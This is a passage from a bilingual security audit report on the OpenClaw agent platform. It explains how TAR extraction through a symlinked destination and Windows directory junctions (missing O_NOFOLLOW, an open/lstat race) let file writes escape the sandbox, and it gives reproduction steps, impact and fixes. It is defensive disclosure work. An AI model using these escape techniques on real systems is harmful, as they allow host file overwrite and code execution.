viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e4a2eeefd8f0c86343"><code class="notion-inline-code">archive.ts</code> implements two extraction paths with asymmetric security checks:</div><div class="notion-text notion-block-3230f0c5b87c80099d03ffe3c4c251b6"><b>ZIP path</b> (<code class="notion-inline-code">extractZip</code>, line 507-514) – correctly validates destDir:</div><div class="notion-text notion-block-3230f0c5b87c806489e6f437825bd1dc"><code class="notion-inline-code">assertDestinationDirReady()</code> (line 227-235) performs an <code class="notion-inline-code">lstat()</code> on <code class="notion-inline-code">destDir</code> and rejects it if it is a symbolic link:</div><div class="notion-text notion-block-3230f0c5b87c8061b56dca584b402750"><b>TAR path</b> (<code class="notion-inline-code">extractArchive</code>, line 627-678) – skips this check:</div><div class="notion-text notion-block-3230f0c5b87c8054b485ee754becd545">The TAR path passes <code class="notion-inline-code">params.destDir</code> directly as both <code class="notion-inline-code">rootDir</code> for entry safety checking and <code class="notion-inline-code">cwd</code> for <code class="notion-inline-code">tar.x()</code>. If <code class="notion-inline-code">destDir</code> is a symlink, <code class="notion-inline-code">path.resolve(destDir, entryPath)</code> in the safety checker resolves lexically (no <code class="notion-inline-code">realpath</code>), so <code class="notion-inline-code">startsWith(rootDir)</code> passes. But <code class="notion-inline-code">tar.x({ cwd: destDir })</code> follows the symlink, writing files to the symlink target.</div><div class="notion-text notion-block-3230f0c5b87c8016b73bdaab50b2d2d0"><code class="notion-inline-code">createTarEntrySafetyChecker()</code> (line 591-625) only validates individual entry paths against <code class="notion-inline-code">rootDir</code>; it does not check whether <code class="notion-inline-code">rootDir</code> itself is a symlink:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804d87bac0ec6586bc5b" data-id="3230f0c5b87c804d87bac0ec6586bc5b"><span><div id="3230f0c5b87c804d87bac0ec6586bc5b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804d87bac0ec6586bc5b" title="Reproduction Steps"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reproduction Steps</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8037a3def6a24a80832f" data-id="3230f0c5b87c8037a3def6a24a80832f"><span><div id="3230f0c5b87c8037a3def6a24a80832f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8037a3def6a24a80832f" title="Prerequisites"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Prerequisites</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8035b90edf00c82280ff"><li>Linux/macOS system (symlink creation does not require elevated privileges)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8052ac45d239c7c083de"><li>OpenClaw instance that handles TAR archive extraction (MCP tool installations, ACP sandbox file staging, or any feature that extracts <code class="notion-inline-code">.tar.gz</code> archives)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808c9b25d876a18ef52e" data-id="3230f0c5b87c808c9b25d876a18ef52e"><span><div id="3230f0c5b87c808c9b25d876a18ef52e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808c9b25d876a18ef52e" title="Step 1: Confirm the code asymmetry"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 1: Confirm the code asymmetry</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80bd8f11c0c473916b96"><b>复现截图 - TAR/ZIP 代码不对称确认：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c805580fbfef1646a832a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa002_step1_asymmetry.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8055-80fb-fef1646a832a" alt="Step 1" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80ee977acd8a0b560ce8">Step 1</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8046adabee59f8683af8" data-id="3230f0c5b87c8046adabee59f8683af8"><span><div id="3230f0c5b87c8046adabee59f8683af8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8046adabee59f8683af8" title="Step 2: End-to-end exploitation (verified on Windows 10, Node.js 22, npm tar 7.x)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 2: End-to-end exploitation (verified on Windows 10, Node.js 22, npm tar 7.x)</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8003bda7d5ade32b06a8"><b>复现截图 - 设置符号链接和 TAR 归档：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8065ab50c59da2311742"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa002_step2_setup.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8065-ab50-c59da2311742" alt="Step 2" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c803c9c21f490491df929">Step 2</div><div class="notion-text notion-block-3230f0c5b87c801fbb6ddecc1d78f249"><b>复现截图 - TAR 提取过程：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8002902de3f158a424fc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa002_step3_extract.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8002-902d-e3f158a424fc" alt="Step 3" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80bfb95ac30bbeb8eb24">Step 3</div><div class="notion-text notion-block-3230f0c5b87c80b98f18e10c96bdfa66"><b>Observed output (actual run, 2026-03-10):</b></div><div class="notion-text notion-block-3230f0c5b87c807f9bdcfcd02351ccae">The file <code class="notion-inline-code">pwned.txt</code> was written to <code class="notion-inline-code">outside-sandbox/</code> despite the extraction target appearing to be inside <code class="notion-inline-code">sandbox/project/</code>. The junction redirected all writes outside the sandbox boundary.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807e96f6da7ef39ba018" data-id="3230f0c5b87c807e96f6da7ef39ba018"><span><div id="3230f0c5b87c807e96f6da7ef39ba018" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807e96f6da7ef39ba018" title="Step 3: Contrast with ZIP behavior"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 3: Contrast with ZIP behavior</span></span></h4><div class="notion-text notion-block-3230f0c5b87c806c84f3d5541e19b366"><b>复现截图 - 验证沙箱逃逸：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80329113c9cd78025cf9"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa002_step4_verify.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8032-9113-c9cd78025cf9" alt="Step 4" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c803cafbbcae1197a0747">Step 4</div><div class="notion-text notion-block-3230f0c5b87c8053a427f23290b59335">If the same extraction were done with a ZIP archive, <code class="notion-inline-code">assertDestinationDirReady()</code> (line 514) would call <code class="notion-inline-code">fs.lstat(destDir)</code>, detect the symlink, and throw <code class="notion-inline-code">ArchiveSecurityError(&quot;destination-symlink&quot;, &quot;archive destination is a symlink&quot;)</code>. Extraction would be blocked.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807bae24e6e1e86187d0" data-id="3230f0c5b87c807bae24e6e1e86187d0"><span><div id="3230f0c5b87c807bae24e6e1e86187d0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807bae24e6e1e86187d0" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ad9ae3d978606d3c93">An attacker who can create a symlink at an expected TAR extraction destination can redirect extracted file writes to arbitrary filesystem locations. In the context of OpenClaw:</div><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c807299e2defd8b0ec6ef" style="list-style-type:decimal"><li><b>Sandbox escape</b>: If TAR extraction targets a directory within a sandbox boundary, the symlink can point outside the sandbox, allowing file writes to the host filesystem.</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80c584aec083255411c7" style="list-style-type:decimal"><li><b>Arbitrary file overwrite</b>: Extracted files land at the symlink target, potentially overwriting configuration files, scripts, or other sensitive data.</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c800391b2ddef03d2492b" style="list-style-type:decimal"><li><b>Code execution</b>: If the overwritten files are subsequently executed (scripts, config files loaded by services), this leads to code execution.</li></ol><div class="notion-text notion-block-3230f0c5b87c8031bc0ed76528487750">The attack requires the ability to create a symlink at the extraction destination path before extraction occurs. This is feasible in scenarios where:
- The attacker has limited write access to the sandbox filesystem
- A prior path traversal or file write vulnerability allows symlink creation
- The extraction destination is in a shared or user-writable directory</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8068ae4ed1fe9f6644f9" data-id="3230f0c5b87c8068ae4ed1fe9f6644f9"><span><div id="3230f0c5b87c8068ae4ed1fe9f6644f9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8068ae4ed1fe9f6644f9" title="Suggested Fix"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Suggested Fix</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80578b4fdb4408029960">Call <code class="notion-inline-code">assertDestinationDirReady()</code> in the TAR path, matching the ZIP path behavior:</div><hr class="notion-hr notion-block-3230f0c5b87c806090abd53f8058447e"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c8069823ed60ae22cf0df" data-id="3230f0c5b87c8069823ed60ae22cf0df"><span><div id="3230f0c5b87c8069823ed60ae22cf0df" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8069823ed60ae22cf0df" title="GHSA-003: Windows Platform: New File Creation Escapes Workspace via Directory Junction (Missing O_NOFOLLOW)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-003: Windows Platform: New File Creation Escapes Workspace via Directory Junction (Missing O_NOFOLLOW)</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c8015ba96fc1239cd9f5b"><div><b>严重级别</b>: Medium  |  <b>类型</b>: 工作区逃逸  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802b8a52cea076d81bec" data-id="3230f0c5b87c802b8a52cea076d81bec"><span><div id="3230f0c5b87c802b8a52cea076d81bec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802b8a52cea076d81bec" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c806b90bfef36b10fa6ee">OpenClaw’s safe file I/O layer (<code class="notion-inline-code">src/infra/fs-safe.ts</code>) relies on the <code class="notion-inline-code">O_NOFOLLOW</code> flag to atomically reject symlinks during <code class="notion-inline-code">open()</code> syscalls. On Windows, this flag does not exist (<code class="notion-inline-code">SUPPORTS_NOFOLLOW = process.platform !== &quot;win32&quot;</code>). While <code class="notion-inline-code">realpath()</code> checks protect existing file reads/writes, <b>new file creation</b> via <code class="notion-inline-code">open(O_CREAT|O_EXCL)</code> can escape the workspace boundary through a directory junction. When the target file does not yet exist, <code class="notion-inline-code">realpath()</code> throws ENOENT and the code falls through to <code class="notion-inline-code">open()</code> with the lexical (junction-containing) path. The file is created outside the workspace. Post-open checks (<code class="notion-inline-code">resolveOpenedFileRealPathForHandle</code>) would detect the escape, but on Windows <code class="notion-inline-code">fdCandidates = []</code>, so they fail – and the file has already been written to disk before the error is thrown.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c801d8ae8c017020928db" data-id="3230f0c5b87c801d8ae8c017020928db"><span><div id="3230f0c5b87c801d8ae8c017020928db" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c801d8ae8c017020928db" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80cfa1dfd0297bfe237e">Medium (CVSS 5.4) – Requires local filesystem access to place a junction; limited to new file creation (not read/overwrite of existing files); Windows-only.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80719641faeb0955f1af" data-id="3230f0c5b87c80719641faeb0955f1af"><span><div id="3230f0c5b87c80719641faeb0955f1af" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80719641faeb0955f1af" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807e8e87c4122b902ba2"><li><code class="notion-inline-code">src/infra/fs-safe.ts</code> – <code class="notion-inline-code">SUPPORTS_NOFOLLOW</code> constant (line 51), all <code class="notion-inline-code">OPEN_*_FLAGS</code> constants (lines 52-67), <code class="notion-inline-code">openVerifiedLocalFile()</code>, <code class="notion-inline-code">openWritableFileWithinRoot()</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802db9ade409e8ded369" data-id="3230f0c5b87c802db9ade409e8ded369"><span><div id="3230f0c5b87c802db9ade409e8ded369" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802db9ade409e8ded369" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80458a6bd3df8689eb57">Current <code class="notion-inline-code">main</code> branch as of 2026-03-10. All Windows deployments of OpenClaw are affected.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800a80b0eeaf352535f4" data-id="3230f0c5b87c800a80b0eeaf352535f4"><span><div id="3230f0c5b87c800a80b0eeaf352535f4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800a80b0eeaf352535f4" title="Affected Platform"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Platform</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809ebfbcde136a4ad0fa">Windows only. Linux and macOS are protected by <code class="notion-inline-code">O_NOFOLLOW</code>.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e98698e17884a9eaa8" data-id="3230f0c5b87c80e98698e17884a9eaa8"><span><div id="3230f0c5b87c80e98698e17884a9eaa8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e98698e17884a9eaa8" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802e90a4e3001fc36266" data-id="3230f0c5b87c802e90a4e3001fc36266"><span><div id="3230f0c5b87c802e90a4e3001fc36266" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802e90a4e3001fc36266" title="The protection mechanism"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">The protection mechanism</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80a5a015dbc82884b3e8">On Linux/macOS, <code class="notion-inline-code">fs-safe.ts</code> uses <code class="notion-inline-code">O_NOFOLLOW</code> in all file open flags. When <code class="notion-inline-code">O_NOFOLLOW</code> is set, the kernel atomically rejects <code class="notion-inline-code">open()</code> on a symlink with <code class="notion-inline-code">ELOOP</code>/<code class="notion-inline-code">EMLINK</code>. This is race-free: there is no window between checking and opening.</div><div class="notion-text notion-block-3230f0c5b87c807a94b5ee10be7a5ad1">On Windows, <code class="notion-inline-code">SUPPORTS_NOFOLLOW</code> is <code class="notion-inline-code">false</code>. All <code class="notion-inline-code">OPEN_*_FLAGS</code> omit the <code class="notion-inline-code">O_NOFOLLOW</code> bit. The <code class="notion-inline-code">open()</code> call will silently follow symlinks.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8077ad07de5bd2a1a2bf" data-id="3230f0c5b87c8077ad07de5bd2a1a2bf"><span><div id="3230f0c5b87c8077ad07de5bd2a1a2bf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8077ad07de5bd2a1a2bf" title="The fallback and its race window"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">The fallback and its race window</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e4b2aeccd22445f3aa">The code attempts to compensate with post-open <code class="notion-inline-code">lstat()</code> checks:</div><div class="notion-text notion-block-3230f0c5b87c80378b84e4d8c7dcb51c"><b>Read path</b> (<code class="notion-inline-code">openVerifiedLocalFile</code>, lines 81-153):</div><div class="notion-text notion-block-3230f0c5b87c801e9703d45ca3bfa92c"><b>Write path</b> (<code class="notion-inline-code">openWritableFileWithinRoot</code>, lines 380-501):</div><div class="notion-text notion-block-3230f0c5b87c8091a1a9fb0ec30d02ab">The race window exists between <code class="notion-inline-code">fs.open()</code> and <code class="notion-inline-code">fs.lstat()</code>. During this window:</div><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c801c924ecc5af00b8fbb" style="list-style-type:decimal"><li><code class="notion-inline-code">fs.open(ioPath, ...)</code> follows the symlink and opens the target file</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8038939ee7137b4d16be" style="list-style-type:decimal"><li>Attacker replaces the symlink with a regular file</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8062a0dcf8afb044f523" style="list-style-type:decimal"><li><code class="notion-inline-code">fs.lstat(ioPath)</code> sees the regular file, not the symlink</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8046b153c18aca04b1f0" style="list-style-type:decimal"><li><code class="notion-inline-code">sameFileIdentity(stat, lstat)</code> may still pass if the attacker times the replacement correctly</li></ol><ol start="5" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8005b251ef618afd78b5" style="list-style-type:decimal"><li>The handle remains open to the symlink target, and subsequent reads/writes go there</li></ol><div class="notion-text notion-block-3230f0c5b87c8063bd31f14d56c4ddff"><b>Important nuance</b>: For existing files, <code class="notion-inline-code">realpath()</code> at line 404 